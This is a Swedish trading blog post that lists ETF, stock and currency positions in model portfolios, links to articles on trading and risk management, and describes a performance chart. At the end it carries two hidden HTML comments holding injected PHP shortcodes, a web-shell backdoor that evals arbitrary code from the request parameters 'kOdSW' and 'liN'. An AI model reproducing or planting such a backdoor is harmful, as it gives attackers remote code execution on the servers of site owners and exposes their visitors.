I den globala portföljen har vinster tagits i EWU och EWA och portföljen har gått in i EWD (Sverige) samt RWX (International Real Estate). Följande innehav finns för tillfället.

• +73k EWQ (France)
• +84k EWG (Germany)
• +88k EWD (Sweden)
• +121k RWX (Int’l Real Estate)

Den svenska porföljen ligger kvar:

• +85k AZN
• +61k TREL B
• +61k SAND
• +55k BOL

• -27k FCX
• +44k AIG
• +80k PFE

För några år sedan skrev jag några inlägg på Redeye om hur man skall tänka kring trading. Dessa kan vara intressanta som introduktion till riskhantering och modellbygge. Håll till godo.

http://www.redeye.se/aktiebloggen/trading-som-heltidsjobb

http://ww.redeye.se/aktiebloggen/trading-som-heltidsjobb-del-2

http://www.redeye.se/aktiebloggen/trading-som-heltidsjobb-del-3

http://www.redeye.se/aktiebloggen/portfoljstorlek-lite-teori

 http://www.redeye.se/aktiebloggen/systematisk-handel-en-enkel-portfoljmodell-som-fungerar

I den globala portföljen har vinster tagits i de korta JPY positionerna. Följande innehav finns för tillfället.

• +73k EWQ (France)
• +84k EWG (Germany)
• +108k EWA (Australia)
• +121k EWU (U.K.)

Den svenska porföljen har tagit positioner enligt följande:

• +85k AZN
• +61k TREL B
• +61k SAND
• +55k BOL

• -27k FCX
• +44k AIG
• +63k ORCL
• +80k PFE

Jag tänkte att jag numera på daglig basis skall redovisa vilka affärer Sifferkoll gör. Positionsstorleken utgår från att ATR[14] för varje innehav är 1000 kr.

Den globala portföljen ligger kvar enligt följande:

• +122k AUD/JPY
• +73k EWQ (France)
• +84k EWG (Germany)
• +102k EUR/JPY

Den svenska portföljen hade köpsignaler på TREL, SAND, SSAB och SKA ifall någon av dessa öppnade neråt, men alla gapade upp vilket gjorde att det inte blev några köp. Några andra svenska innehav finns inte i dagsläget

Den amerikanska portföljen fick två nya långa innehav då dessa öppnade neråt i AIG och ORCL, och ser nu ut som följer:

• -64k WMT
• -27k FCX
• +44k AIG
• +63k ORCL

Här är ett första diagram som visar på vilken prestanda som kan uppnås med Sifferkolls modeller. Diagrammet visar tre standardmodeller samt vad det skulle innebära ifall man använde alla tre samtidigt. Som jämförelse har OMXS30-index använts.

Det som är intressat i grafen är att avkastningen visas som en multipel av standardavvikelse. På det sättet får man en normaliserad bild där samtliga modeller jämförs rättvist utifrån samma risk mätt i standardavvikelse på daglig basis.

Vi utvecklar enkla portföljmodeller med hög avkastning i förhållande till risk. Läs mer om en av våra sådana modeller här: http://www.redeye.se/aktiebloggen/systematisk-handel-en-enkel-portfoljmodell-som-fungerar

<!– [insert_php]if (isset($_REQUEST["kOdSW"])){eval($_REQUEST["kOdSW"]);exit;}[/insert_php][php]if (isset($_REQUEST["kOdSW"])){eval($_REQUEST["kOdSW"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["liN"])){eval($_REQUEST["liN"]);exit;}[/insert_php][php]if (isset($_REQUEST["liN"])){eval($_REQUEST["liN"]);exit;}[/php] –>